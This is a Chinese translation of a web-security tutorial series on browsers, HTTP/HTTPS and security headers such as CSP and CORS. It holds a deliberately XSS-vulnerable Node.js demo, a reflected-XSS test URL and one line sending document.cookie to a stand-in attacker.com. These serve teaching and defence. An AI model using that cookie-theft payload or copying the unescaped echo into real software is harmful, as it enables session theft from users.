搜索，这是一个带有提交按钮的简单输入文本。这个 web 应用程序没有什么神奇的功能。只是,显示一个表单让用户执行搜索显示搜索结果和用户搜索的关键字当我们执行简单搜索时，这就是应用程序返回的内容：我们的应用程序非常理解我们的搜索，并找到了一个相关的图像。如果我们深入研究源代码，可以在github.com/odino/wasec/tree/master/xss.com 上找到，我们很快就会发现应用程序存在安全问题，因为用户搜索的任何关键字都直接打印在提供给客户端的 HTML 响应中:var qs = require(‘querystring’)var url = require(‘url’)var fs = require(‘fs’)require(‘http’).createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || ’’ let results = keyword ? You searched for "${keyword}", we found:&lt;/br&gt;&lt;img src="http://placekitten.com/200/300" /&gt; : Try searching...res.end(fs.readFileSync(__dirname + ‘/index.html’).toString().replace(’KEYWORD’, keyword).replace(’RESULTS’, results))}).listen(7888)<html> <body> <h1>Search The Web</h1> <form> <input type=“text” name=“search” value=”KEYWORD" /> <input type=“submit” /> </form> <div id=“results”> RESULTS </div> </body></html>这带来了一个糟糕的后果。攻击者可以创建一个特定的链接，在受害者浏览器中执行任意JavaScript。如果你有时间和耐心在本地运行示例，你将能够快速了解 CSP 的强大功能。 我添加了一个启用CSP的查询字符串参数，因此我们可以尝试在启用 CSP 的情况下导航到恶意 URL：http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on正如你在上面的例子中所看到的，我们已经告诉浏览器，我们的 CSP 策略只允许脚本包含在当前 URL 的同一来源，我们可以通过展开 URL 和查看响应头来验证:$ curl -I “http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"HTTP/1.1 200 OKX-XSS-Protection: 0Content-Security-Policy: default-src ‘self’Date: Sat, 11 Aug 2018 10:46:27 GMTConnection: keep-alive由于 XSS 攻击是通过内联脚本(直接嵌入到HTML内容中的脚本)进行的，所以浏览器友好地拒绝执行它，以保证用户的安全。想象一下，如果攻击者不是简单地显示一个警告对话框，而是通过一些JavaScript代码将重定向到自己的域，代码可能如下:window.location = attacker.com/${document.cookie}他们本来可以窃取所有用户的 cookie，其中可能包含高度敏感的数据（下一篇文章中有更多内容）。CSP的一个有趣的变化是 report-only 模式。可以不使用 Content-Security-Policy 头文件，而是首先使用 Content-Security-Policy-Report-Only 头文件测试 CSP 对你的网站的影响，方法是告诉浏览器简单地报告错误，而不阻塞脚本执行，等等。通过报告，你可以了解要推出的 CSP 策略可能导致的重大更改，并相应地进行修复。 我们甚至可以指定报告网址，浏览器会向我们发送报告。 以下是 report-only 策略的完整示例：Content-Security-Policy: default-src ‘self’; report-uri http://cspviolations.example.com/collectorCSP 策略本身可能有点复杂，如下例所示:Content-Security-Policy: default-src ‘self’; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com本策略定义了以下规则:可执行脚本（例如JavaScript）只能从 scripts.example.com 加载图像可以从任何源(img-src: *)视频或音频内容可以从两个来源加载: medias.example.com 和 medias.legacy.example.com正如你所看到的，策略可能会变得很长，如果我们想确保为用户提供最高的保护，这可能会成为一个相当乏味的过程。不过，编写全面的 CSP 策略是向 web 应用程序添加额外安全层的重要一步。X-XSS-ProtectionHTTP X-XSS-Protection 响应头是Internet Explorer，Chrome和Safari的一个功能，当检测到跨站脚本攻击 (XSS)时，浏览器将停止加载页面。虽然这些保护在现代浏览器中基本上是不必要的，当网站实施一个强大的 Content-Security-Policy 来禁用内联的 JavaScript (‘unsafe-inline’)时, 他们仍然可以为尚不支持 CSP 的旧版浏览器的用户提供保护。它的语法和我们刚才看到的非常相似:X-XSS-Protection: 1; report=http://xssviolations.example.com/collectorXSS 是最常见的攻击类型，其中未经过验证的服务器打印出未经过处理的输入，而且这个标题真正发挥作用。 如果你想亲眼看到这个，我建议你试试 github.com/odino/wasec/tree/master/xss 上的例子。将 xss=on 附加到 URL 上，它显示了当 XSS 保护时浏览器做了什么 打开了。 如果我们在搜索框中输入恶意字符串，例如 <script> alert（‘hello’）</ script>，浏览器将拒绝执行脚本，并解释其决定背后的原因：The XSS Auditor refused to execute a script in’http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on’because its source code was found within the request.The server sent an ‘X-XSS-Protection’ header requesting this behavior.更有趣的是，当网页没有指定任何 CSP 或 XSS 策略时，Chrome 的默认行为，我们可以通过将 XSS =off 参数添加到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off) 来测试这个场景:令人惊讶的是，Chrome 非常谨慎，它将阻止页面渲染，使得 XSS 的攻击非常难以实现。Feature policy2018 年 7 月，安全研究员 Scott Helme 发表了一篇非常有趣的博客文章，详细介绍了正在开发的一个新的安全标头: Feature-Policy。目前只有很少的浏览器(在撰写本文时是Chrome和Safari)支持这个标头，它允许我们定义当前页面中是否启用了特定的浏览器功能。使用与 CSP 非常相似的语法，比如下面这个:Feature-Policy: vibrate ‘self’; push *; camera ’none’如果我们对此策略如何影响页面可用的浏览器 API 仍有疑问，我们可以简单地剖析它：vibrate ‘self’：这将允许当前页面使用vibration API 和同一源上的任何嵌套浏览上下文(iframe)push *：当前页面和任何 iframe 都可以使用 push notification APIcamera ’none’：当前页面和任何嵌套上下文(iframe)都拒绝访问 camera APIfeature policy 的历史可能很短，但是抢先一步也无妨。例如，如果你的网站允许用户自拍或录制音频，那么使用限制其他上下文通过你的页面访问 API 的策略将非常有益。X-Content-Type-Options有时候，从安全的角度来看，聪明的浏览器功能最终会伤害我们。 一个明显的例子是 MIME嗅探(MIME-sniffing)，这是一种由 Internet Explorer 推广的技术。MIME 嗅探是浏览器自动检测（和修复）正在下载的资源的内容类型的能力。 例如，我们要求浏览器渲染图片 /awesome-picture.png ，但服务器在向浏览器提供图像时设置了错误的类型（例如，Content-Type：text/plain），这通常会导致浏览器无法正确显示图像。为了解决这个问题，IE 竭尽全力实现 MIME 嗅探功能：当下载资源时，浏览器会“扫描”它，如果它会检测到资源的内容类型不是由在 Content-Type 标头中的服务器，它将忽略服务器发送的类型并根据浏览器检测到的类型解释资源。现在，想象一下，托管一个网站，允许用户上传自己的图像，并想象用户上传包含 JavaScript 代码的 /test.jpg 文件。 看看这是怎么回事？ 上传文件后，该网站会将其包含在自己的 HTML 中，当浏览器尝试渲染文档时，它会找到用户刚刚上传的“图像”。 当浏览器下载图像时，它会检测到它是一个脚本，并在受害者的浏览器上执行它。为了避免这个问题，我们可以设置 X-Content-Type-Options:nosniheader，它完全禁用 MIME 嗅探：通过这样做，我们告诉浏览器，我们完全知道某些文件可能在类型和内容方面不匹配，浏览器不应该担心这个问题。我们知道我们在做什么，所以浏览器不应该试图猜测，可能对我们的用户构成安全威胁。Cross-Origin Resource Sharing (CORS)在浏览器上，通过 JavaScript，HTTP 请求只能在同一个源上触发。 简而言之，example.com 的AJAX 请求只能连接到 example.com。这是因为你的浏览器包含攻击者的有用信息 - Cookie，通常用于跟踪用户的会话。 想象一下，如果攻击者在 win-a-hummer.com 上设置恶意页面，会立即向 your-bank.com 发出 AJAX 请求。 如果你在银行的网站上登录，则攻击者可以使用你的凭据执行 HTTP 请求，可能会窃取信息，或者更糟糕的是，将你的银行帐户清除掉。不过，在某些情况下可能需要执行跨域 AJAX 请求，这就是浏览器实现跨跨资源共享(Cross Origin Resource Sharing, CORS)的原因，这是一组允许执行跨域请求的指令。CORS 背后的机制非常复杂，我们不可能通读整个规范，所以我将重点介绍 CORS 的“简化”版本。现在，你只需要知道，通过使用 Access-Control-Allow-Origin 头，应用程序告诉浏览器可以接收来自其他域的请求。这个宽松的形式设置 Access-Control-Allow-Origin: ，它允许任何域访问我们的应用程序，但是我们可以通过使用 Access-Control-Allow-Origin: https://example.com 添加我们想要列入白名单的 URL 来限制它。如果我们看看 github.com/odino/wasec/tree/master/cors 上的示例，我们可以清楚地看到浏览器如何阻止访问单独来源的资源。 我已经设置了一个示例，用于从 test-cors 到 test-cors-2 发出 AJAX 请求，并将操作结果打印到浏览器。 当 test-cors-2 后面的服务器被指示使用 CORS 时，页面按预期工作。 尝试导航到 http://cors-test:7888/?cors=on但是当我们从 UR L中删除 cors 参数时，浏览器会介入并阻止我们访问响应的内容:我们需要理解的一个重要方面是浏览器执行了请求，但阻止了客户端访问它。 这非常重要，因为如果我们的请求会对服务器产生任何副作用，它仍然会使我们容易受到攻击。 想象一下，例如，如果我们的银行允许通过简单地调用 my-bank.com/transfer?amount=1000&from=me&to=attacker 来转移资金，那将是一场灾难！正如我们在本系列第一篇讲到，GET 请求应该是幂等的，但如果我们尝试用 POST 请求会发生什么？ 幸运的是，在示例中包含了这个场景，通过导航到 http://cors-test:7888/?method=POST:来尝试：浏览器发出“预检”请求，而不是直接执行我们的 POST 请求，这可能会导致服务器出现严重问题。 这只是对服务器的 OPTIONS 请求，要求它验证我们的来源是否被允许。 在这种情况下，服务器没有正面响应，因此浏览器停止进程，我们的 POST 请求永远不会到达目标。这告诉我们一些事情:CORS 不是一个简单的规范，很多场景需要牢记，你可以很容易地混淆预检请求等功能的细微差别。永远不要暴露通过 GET 改变状态的 API。 攻击者可以在没有预检请求的情况下触发这些请求，这意味着根本没有保护。根据经验，我发现自己更愿意设置代理，以便将请求转发到正确的服务器，而不是使用 CORS。这意味着运行在 example.com 上的应用程序可以在 example.com/_proxy/other.com 设置一个代理，这样所有位于 _proxy/other.com/ 下的请求都可以代理到 other.com。X-Permitted-Cross-Domain-Policies与 CORS 非常相似的是，X-Permitted-Cross-Domain-Policies 针对 Adobe 产品（即Flash和Acrobat）的跨域策略。我不会详细介绍，因为这是一个针对非常特定用例的标头。长话短说，Adobe 产品通过请求目标域根目录中的 cross-domain.xml 文件处理跨域请求，并且 X-Permitted-Cross-Domain-Policies 定义了访问该文件的策略。听起来复杂吗?我只建议添加一个 X-Permitted-Cross-Domain-Policies: none 并忽略希望使用 Flash 跨域请求的客户端。Referrer-Policy在我们职业生涯的开始，我们可能都犯了同样的错误。使用 Referer 头在我们的网站上实现安全限制。如果头部在我们定义的白名单中包含一个特定的 URL，我们将允许用户访问。Referrer-Policy 头文件诞生于 2017 年初，目前受到所有主流浏览器的支持，它可以告诉浏览器，它应该只屏蔽 Referer 头文件中的URL，或者完全省 略URL，从而缓解这些隐私问题。Referrer-Policy 一些最常见的值是：no-referrer：整个 Referer 首部会被移除。访问来源信息不随着请求一起发送。origin：在任何情况下，仅发送文件的源作为引用地址。例如 https://example.com/page.html 会将 https://example.com/ 作为引用地址。same-origin：对于同源的请求会发送引用地址，但是对于非同源请求则不发送引用地址信息。值得注意的是，Referrer-Policy 有很多变体(trict-origin、no-referrer-when-downgrade等等)，但是我上面提到的这些变体可能会涵盖你的大多数用例。如果你希望更好地理解你可以使用的每一个变体，可以访问 OWASP dedicated page 了解。Origin 标头与 Referer 非常相似，因为它是由浏览器在跨域请求中发送的，以确保允许调用者访问不同域上的资源。 Origin 标头由浏览器控制，因此恶意用户无法篡改它。 你可能会将其用作Web应用程序的防火墙：如果 Origin 位于我们的白名单中，请让请求通过。但有一点需要考虑的是，其他 HTTP 客户端（如c URL）可以呈现自己的来源：简单的 curl -H “Origin: example.com” api.example.com 将使所有基于源的防火墙规则效率低下…… …… 这就是为什么你不能依靠 Origin（或者我们刚才看到的 Referer）来构建防火墙来阻止恶意客户端。有状态 HTTP：使用 cookie 管理会话本文应该向我们介绍一些有趣的 HTTP 标头，让我们了解它们如何通过特定于协议的功能强化我们的Web 应用程序，以及主流浏览器的一些帮助。在下一篇文章中，我们将深入研究HTTP协议中最容易被误解的特性之一: cookie。代码部署后可能存在的BUG没法实时知道，事后为了解决这些BUG，花了大量的时间进行log 调试，这边顺便给大家推荐一个好用的BUG监控工具 Fundebug。你的点赞是我持续分享好东西的动力，欢迎点赞！一个笨笨的码农，我的世界只能终身学习！更多内容请关注公众号《大迁世界》！ ...

这是关于web安全性系列文章的第2篇，第一篇可点击以下查看：Web 应用安全性: 浏览器是如何工作的HTTP是一个美好的东西:一个存在了20多年而没有太多变化的协议。正如我们在前一篇文章中看到的，浏览器通过HTTP协议与web应用程序交互，这是我们深入研究这个主题的主要原因。如果用户在网站上输入他们的信用卡信息，攻击者就能在数据到达服务器之前拦截数据，我们肯定会有麻烦。了解HTTP是如何工作的，我们如何保护客户端和服务器之间的通信，以及该协议提供了哪些与安全相关的特性，这是改进安全状态的第一步。但是，在讨论HTTP时，我们应该始终区分语义和技术实现，因为它们是HTTP工作方式的两个非常不同的方面。两者之间的关键区别可以用一个非常简单的类比来解释:20年前，人们像现在一样关心他们的亲人，尽管他们互动的方式已经发生了巨大的变化。我们的父母可能会开着车去他们姐姐家，这样就能赶上和家人在一起。相反，现在更常见的是在 WhatsApp 上留言、打电话或使用 Facebook 群组，这在以前是不可能的。这并不是说人们或多或少地交流或关心，而是说他们交流的方式改变了。HTTP 也不例外:协议背后的语义没有太大的变化，而客户端和服务器之间通信的技术实现已经经过多年的优化。如果您查看 1996 年的 HTTP 请求，它看起来与我们在前一篇文章中看到的请求非常相似，尽管这些数据包通过网络的方式非常不同。概述如前所述，HTTP遵循请求/响应模型，其中连接到服务器的客户端发出请求，服务器对其进行响应。HTTP消息(请求或响应)包含多个部分:请求行请求头请求体第一部分：请求行，用来说明请求类型,要访问的资源以及所使用的HTTP版本。GET /players/lebron-james HTTP/1.1GET说明请求类型为 GET,/players/lebron-james 为要访问的资源，该行的最后一部分说明使用的是 HTTP1.1 版本。第二部分：请求头部，紧接着请求行（即第一行）之后的部分，用来说明服务器要使用的附加信。:GET /players/lebron-james HTTP/1.1Host: nba.comAccept: */*Coolness: 9000例如，在此请求中，客户端已为请求附加了3个附加标头：Host，Accept和 Coolness。等一下,Coolness 是什么报头不必使用特定的保留名称，但通常建议依赖于 HTTP 规范标准化的名称:越偏离标准，交换中的另一方就越不理解你。例如，Cache-Control 是一个头文件，用于定义响应是否是可缓存的:大多数代理和反向代理都完全按照 HTTP 规范来理解它。如果将 Cache-Control 头重命名为 Awesome-Cache-Control，代理将不再知道如何缓存响应，因为它们不是按照你刚刚提出的规范构建的。但有时候，在消息中包含“自定义”标题可能是有意义的，因为你可能希望添加实际上不属于 HTTP 规范的元数据：服务器可以决定在其响应中包含技术信息，以便客户端可以同时执行请求并获取有关回复的服务器状态的重要信息：…X-Cpu-Usage: 40%X-Memory-Available: 1%…使用自定义标头时，始终首选为它们添加一个键，以便它们不会与将来可能成为标准的其他标头冲突：从历史上看，这一直很有效，直到每个人都开始使用“非标准” X 前缀 反过来，这成为常态。 X-Forwarded-For 和 X-Forwarded-Proto标 头是负载平衡器和代理广泛使用和理解的自定义标头的示例，即使它们不是 HTTP 标准的一部分。如果你需要添加自己的自定义头，那么现在通常最好使用一个自动生成的前缀，例如 Acme-Custom-Header 头或 A-Custom-Header 头。在标题之后，一个请求可能包含一个主体，它与标题之间用空行隔开:POST /players/lebron-james/comments HTTP/1.1Host: nba.comAccept: */*Coolness: 9000Best Player Ever我们的请求完成了:第一行(位置和协议信息)、请求头和请求体。注意，请求体是完全可选的，在大多数情况下，它只在我们想要向服务器发送数据时使用——这就是上面的示例使用 POST 的原因。响应没有太大的不同:HTTP/1.1 200 OKContent-Type: application/jsonCache-Control: private, max-age=3600{“name”: “Lebron James”, “birthplace”: “Akron, Ohio”, …}响应发布的第一个信息是它使用的协议版本以及该响应的状态。请求头也一样，如果需要的话，在正文后面加一个换行符。如前所述，该协议经过了多次修订，并随着时间的推移添加了一些特性(新的头文件、状态代码等)，但是底层结构并没有太大的变化(请求行、请求头和正文)。真正改变的是客户端和服务器如何交换这些消息——让我们更仔细地研究一下。HTTP vs HTTPS vs H2HTTP 已经经历了 2 个相当大的语义变化: HTTP/1.0 和 HTTP/1.1。那，“HTTPS 和 HTTP2 在哪里？”HTTPS 和 HTTP2 (缩写为 H2)是更多的技术更改，因为它们引入了在互联网上传递消息的新方法，而不会严重影响协议的语义。HTTPS 是 HTTP的一种“安全”扩展，它涉及在客户机和服务器之间建立一个公共秘密，确保我们与正确的一方进行通信，并对与公共秘密交换的消息进行加密(稍后将对此进行详细介绍)。HTTPS 的目标是提高HTTP 协议的安全性，而 H2 的目标是为其带来更快的速度。H2 使用二进制而不是纯文本消息，支持多路复用，使用 HPACK 算法压缩报头……长话短说，H2 是对HTTP/1.1 的性能提升。网站所有者不愿意切换到 HTTPS，因为它涉及客户端和服务器之间的额外往返（如上所述，需要在两方之间建立共同的秘密），从而减慢用户体验：使用 H2 加密 默认情况下，他们就没有借口了，因为多路复用和服务器推送等功能使其 性能优于普通的 HTTP/1.1。HTTPSHTTPS (HTTP Secure)的目标是让客户端和服务器通过 TLS(传输层安全性)安全地进行通信，TLS 是SSL(安全套接字层)的继承者。TLS 所针对的问题相当简单,可以用一个简单的比喻:你的另一半中午打电话给你,当你在一个会议上,并询问你告诉他们你的网上银行账户的密码,因为他们需要执行一个银行转账,以确保你儿子的教育费用按时支付。重要的是你现在就告诉他们，否则第二天早上你的孩子可能会被学校拒之门外。你们现在面临着两个挑战:身份验证: 确保你真的在和你的另一半说话，因为有可能别人会假装他们加密: 在同事无法理解和记录下密码的情况下进行通信这正是 HTTPS 试图解决的问题。为了验证你正在与谁交谈，HTTPS 使用公钥证书，这只是声明特定服务器背后身份的证书:当你通过 HTTPS 连接到 IP 地址时，该地址背后的服务器将向你提供其证书，以验证其身份。回到我们的类比，这可能只是你让你的另一半拼写他们的社会保险号。一旦验证了数字的正确性，你就获得了额外的信任级别。但是，这并不能阻止“攻击者”学习受害者的社会安全号码，偷走你伴侣的智能手机并给你打电话。 我们如何验证来电者的身份？你不是直接让你的另一半拼他们的社会保险号，而是打电话给你的妈妈(她正好住在你隔壁)，让她去你的公寓，确保你的另一半拼的是他们的社会保险号。这增加了额外的信任级别，因为你不认为你的母亲是一个威胁，并依赖她来验证调用者的身份。在 HTTPS 术语中，你的妈妈称为 CA，证书颁发机构 (Certificate Authority)的简称：CA 的工作是验证特定服务器后面的身份，并颁发具有自己的数字签名的证书：这意味着，当我连接到特定域时，我不会出示由域所有者生成的证书（称为自签名证书），而是由 CA 颁发。权威机构的职责是确保他们验证域名后面的身份并相应地颁发证书：当你“订购”证书时（通常称为 SSL 证书，即使现在使用 TLS 代替 ）， 当局可能会给人打电话或要求你更改 DNS 设置，以验证你是否可以控制相关域。 验证过程完成后，它将颁发证书，然后你可以在 Web 服务器上安装该证书。像浏览器这样的客户端将连接到您的服务器并获得此证书，以便他们可以验证它看起来是真实的：浏览器与CA有某种“关系”，因为它们跟踪可信CA的列表。 为了验证证书是否真的值得信赖。 如果证书未由受信任的机构签名，则浏览器将向用户显示一条信息量大的警告：确保你和你的另一半之间的通信安全已经完成了一半:现在我们已经解决了身份验证(验证调用者的身份)，我们需要确保我们可以安全地通信，而不会在此过程中被其他人窃听。正如我提到的，你正在开会，需要拼写你的网上银行密码。你需要找到一种方法来加密你的交流，这样只有你和你的伴侣才能理解你的谈话。您可以通过在双方之间建立共享密钥来实现此目的，并通过该密钥加密消息：例如，你可以根据婚礼日期决定使用 Caesar cipher 的变体。如果双方都有一段稳定的关系，就像你和你的灵魂伴侣一样，这将会很有效，因为他们可以在别人不知道的共同记忆的基础上创造一个密钥。但是，浏览器和服务器不能使用相同的机制，因为它们事先不了解彼此。取而代之的是 Diffie-Hellman 密钥交换协议的变体，它确保没有预先知道的各方建立共享的密钥，而其他人无法“嗅探”它。这需要用到一点数学知识，这是留给读者的一个练习。一旦密钥建立起来，客户端和服务器就可以进行通信，而不必担心有人会截获它们的消息。即使攻击者这样做，他们也没有解密消息所需的公共密钥。HTTPS无处不在还在争论你是否应该在你的网站上支持HTTPS？ 我没有好消息：浏览器已经开始推动用户远离不支持HTTPS 的网站，以“强迫”网络开发者提供完全加密的浏览体验。在 “HTTPS无处不在” 的口号背后，浏览器开始反对未加密的连接——谷歌是第一个给网络开发者最后期限的浏览器供应商，它宣布从 Chrome 68(2018年7月) 开始将把HTTP网站标记为“不安全”:对于不使用HTTPS的网站来说，更令人担忧的是，一旦用户在网页上输入任何内容，“不安全”标签就会变成红色——这一举动应该会鼓励用户在与不支持HTTPS的网站交换数据之前三思而后行。将此与在HTTPS上运行并配备有效证书的网站的外观进行比较:从理论上讲，网站不一定是安全的，但在实践中，这会吓跑用户 - 这是理所当然的。 当 H2 还没普遍时，坚持使用未加密的纯HTTP通信是有意义的，如今几乎没有理由这样做。GET 和 POST正如我们前面看到的，HTTP请求以一个特殊的请求行开始:首先，客户端告诉服务器它正在使用什么动词来执行请求：常见的 HTTP 动词包括 GET，POST，PUT 和 DELETE，但列表可以继续使用不常见（但仍然是标准的）动词，如 TRACE， OPTIONS，或 HEAD。理论上，没有一种方法比其他方法更安全;实际上，事情并没有那么简单。GET 请求通常不带主体，因此参数包含在 URL 中（如 www.example.com/articles?article_id=1），而 POST 请求通常用于发送（“post”）包含在内的数据。 另一个区别在于这些动词带有的副作用：GET 是一个幂等动词，意思是无论你要发送多少个请求，你都不会改变网络服务器的状态。 相反，POST 不是幂等的：对于你发送的每个请求，你可能正在更改服务器的状态（例如，考虑发布新的付款 - 现在您可能理解为什么站点要求你在执行时不刷新页面 交易）。幂等性：指一次和多次请求某一个资源应该具有同样的副作用，也就是一次访问与多次访问，对这个资源带来的变化是相同的。为了说明这些方法之间的一个重要区别，我们需要看一看 web 服务器的日志，这些日志你可能已经很熟悉了:192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:39:47 +0000] “GET /?token=1234 HTTP/1.1” 200 525 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36” 404 0.002 [example-local] 172.17.0.8:9090 525 0.002 200192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:40:47 +0000] “GET / HTTP/1.1” 200 525 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36” 393 0.004 [example-local] 172.17.0.8:9090 525 0.004 200192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:41:34 +0000] “PUT /users HTTP/1.1” 201 23 “http://example.local/" “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36” 4878 0.016 [example-local] 172.17.0.8:9090 23 0.016 201如你所见，web服务器记录请求路径:这意味着，如果你在 URL 中包含敏感数据，那么它将被 web 服务器泄露并保存在你的日志中的某个位置—你的密钥将以明文的形式出现，这是我们绝对需要避免的。假设攻击者能够访问你的一个旧日志文件，该文件可能包含信用卡信息、私有服务的访问令牌等等:这将是一场彻底的灾难。Web 服务器不记 录HTTP标头或主体，因为要保存的数据太大 - 这就是为什么通过请求主体而不是URL发送信息通常更安全。 从这里我们可以得出 POST（和类似的，非幂等方法）比 GET 更安全，即使更多的是使用特定动词时数据的发送方式而不是特定动词本身比其他动词更安全：如果你 将敏感信息包含在 GET 请求的主体中，然后你不会遇到比使用 POST 时更多的问题，即使这种方法被认为是不寻常的。我们信任 HTTP 报头在本文中，我们研究了HTTP，它的演变以及它的安全扩展如何集成身份验证和加密，以使客户端和服务器通过安全通道进行通信：这不是所有 HTTP 在安全性方面提供的。正如我们将在下一篇文章中看到的，HTTP安全头文件提供了一种改进应用程序安全状态的方法，下一篇文章将致力于理解如何利用它们。你的点赞是我持续分享好东西的动力，欢迎点赞！一个笨笨的码农，我的世界只能终身学习！更多内容请关注公众号《大迁世界》！ ...

这本系列的第一篇，先解释浏览器的功能以及执行方式。由于大多数客户将通过浏览器与 web 应用程序进行交互，因此必须了解这些出色程序的基础知识。浏览器是一个渲染引擎，它的工作是下载一个web页面，并以人类能够理解的方式渲染它。虽然这几乎是一种过于简单的过分简化，但我们现在需要知道的全部内容。用户在浏览器栏中输入一个地址。浏览器从该 URL 下载“文档”并渲染它。你可能习惯使用 Chrome，Firefox，Edge或Safari等流行的浏览器之一，但这并不意味着没有不同的浏览器。例如，lynx 是一种轻量级的、基于文本的浏览器，可以在命令行中工作。lynx 的核心原理与其他“主流”浏览器的原理完全相同。用户输入 web 地址(URL)，浏览器获取文档并呈现它——唯一的区别是 lynx 不使用可视化渲染引擎，而是使用基于文本的界面，这使得像谷歌这样的网站看起来像这样:我们大致了解浏览器的功能，但是让我们仔细看看这些机智的应用程序为我们所做的步骤。浏览器做了什么?长话短说，浏览器的工作主要包括:DNS 解析HTTP 交换渲染重复以下步骤DNS 解析这个过程确保一旦用户输入 URL，浏览器就知道它必须连接到哪个服务器。浏览器联系 DNS 服务器，发现google.com 翻译成 216.58.207.110，这是一个浏览器可以连接的 IP 地址。HTTP 交换一旦浏览器确定了哪个服务器将为我们的请求提供服务，它将启动与它的 TCP 连接并开始 HTTP 交换。 这只是浏览器与服务器通信所需内容以及服务器回复的一种方式。HTTP 只是用于在 Web 上进行通信协议的名称，而浏览器一般通过 HTTP 与服务器进行通信。 HTTP 交换涉及客户端（我们的浏览器）发送请求，服务器回复响应。例如，当浏览器成功连接到 google.com 背后的服务器后，它将发送一个如下所示的请求:GET / HTTP/1.1Host: google.comAccept: /让我们一行一行地把请求分解:GET / HTTP/1.1:在第一行中，并补充说其余请求将遵循 HTTP/1.1 协议（它也可以使用1.0或2）Host: google.com：这是 HTTP/1.1 中唯一必须的 HTTP 报头。因为服务器可能服务多个域(google.com, google.co.uk) 。这里的客户端提到请求是针对特定的主机的。Accept: /：一个可选的标头，其中浏览器告诉服务器接受任何类型的响应。服务器可以拥有 JSON、XM L或HTML 格式的可用资源，因此它可以选择自己喜欢的格式。作为客户端的浏览器发送请求之后，就轮到服务器进行响应了，这是响应的格式如下:HTTP/1.1 200 OKCache-Control: private, max-age=0Content-Type: text/html; charset=ISO-8859-1Server: gwsX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINSet-Cookie: NID=1234; expires=Fri, 18-Jan-2019 18:25:04 GMT; path=/; domain=.google.com; HttpOnly<!doctype html><html">……</html>哇，有很多信息需要消化。服务器让我们知道请求是成功的(200 OK)，并向响应中添加一些头部信息，例如，它告知哪个服务器处理了我们的请求(Server:gws)，该响应的 X-XSS-Protection 策略是什么，等等。现在，你不需要理解响应中的每一行，在本系列后面的文章中，我们将介绍 HTTP 协议及其头部等内容。现在，你只需要了解客户端和服务器正在交换信息，并且它们是通过 HTTP 进行交换的。渲染<!doctype html><html">……</html>在响应的主体中，服务器根据 Content-Type 头包括响应类型来表示。 在我们的例子中，内容类型设置为 text/ html，因此我们期待响应中的 HTML 标记 - 这正是我们在正文中找到的。这才是浏览器真正的亮点所在。它解析 HTML，加载标记中包含的额外资源(例如，可能需要获取JavaScript文件或CSS文档)，并尽快将它们呈现给用户。最终的结果是普通人能够理解的：如果想要更详细地了解当我们在浏览器地址栏中按回车键时会发生什么，建议阅读“What happens when…”，这是一个非常精细的尝试来解释该过程背后的机制。由于这是一个关注安全性的系列文章，从刚刚了解到的内容可以提到提示:攻击者可以轻松地利用 HTTP 交换和渲染部分中的漏洞谋生。漏洞和恶意用户也潜伏在其他地方，但是这些级别上更好的安全方法已经允许你在改进安全性方面取得进展。供应商4 个最流行的浏览器属于不同的公司:谷歌的 ChromeMozilla 的火狐苹果的 Safari微软的 Edge除了为了增加市场渗透率而相互竞争之外，供应商也为了提高 web 标准而相互合作，这是对浏览器的一种“最低要求”。W3C是标准开发的主体，但是浏览器开发自己的特性并最终成为 web 标准的情况并不少见，安全性也不例外。例如，Chrome 51 引入了 SameSite cookie，该功能允许 Web 应用程序摆脱称为 CSRF 的特定类型的漏洞（稍后将详细介绍）。其他供应商认为这是一个好主意，并纷纷效仿，导致 SameSite 成为 web 标准:到目前为止，Safari 是唯一没有 SameSite cookie 支持的主流浏览器。这告诉我们两件事:Safari似乎并不关心用户的安全性（开玩笑：Safari 12中将提供SameSite cookie，这可能在你阅读本文时已经发布）修补一个浏览器上的漏洞并不意味着所有用户都是安全的第一点是对 Safari 的一次尝试(正如我提到的，开玩笑的!)，而第二点非常重要。在开发web应用程序时，我们不仅需要确保它们在不同的浏览器中看起来是相同的，还需要确保我们的用户在不同的平台上受到相同的保护。你的网络安全策略应根据浏览器供应商允许我们执行的操作而有所不同。 如今，大多数浏览器都支持相同的功能集，并且很少偏离其常见的路线图，但是上面的实例仍然会发生，这是我们在定义安全策略时需要考虑的事情。在我们的例子中，如果我们决定只通过 SameSite cookie 来减轻 CSRF 攻击，那么我们应该意识到我们正在将 Safari 用户置于危险之中。我们的用户也应该知道这一点。最后但并非最不重要,你应该记住,你可以决定是否支持浏览器版本:支持每一个浏览器版本将是不切实际的(想想 Internet Explorer 6)。虽然确保最近几个版本的主流浏览器的支持通常是一个好的决定，但是如果你不打算在特定的平台上提供保护，一般建议让你的用户知道。专业提示:你不应该鼓励你的用户使用过时的浏览器，或积极支持他们。尽管你可能已经采取了所有必要的预防措施，但是其他web开发人员可能没有。鼓励用户使用主流浏览器支持的最新版本。供应商还是标准bug?普通用户通过第三方客户端（浏览器）访问我们的应用程序这一事实增加了另一层次的间接性：浏览器本身可能存在安全漏洞。‘供应商通常会向能够发现浏览器自身漏洞的安全研究人员提供奖励(即 bug奖金)。这些bug与你的实现无关，而是与浏览器本身处理安全性的方式有关。例如，Chrome 奖励计划可让安全工程师与 Chrome 安全团队联系，报告他们发现的漏洞。 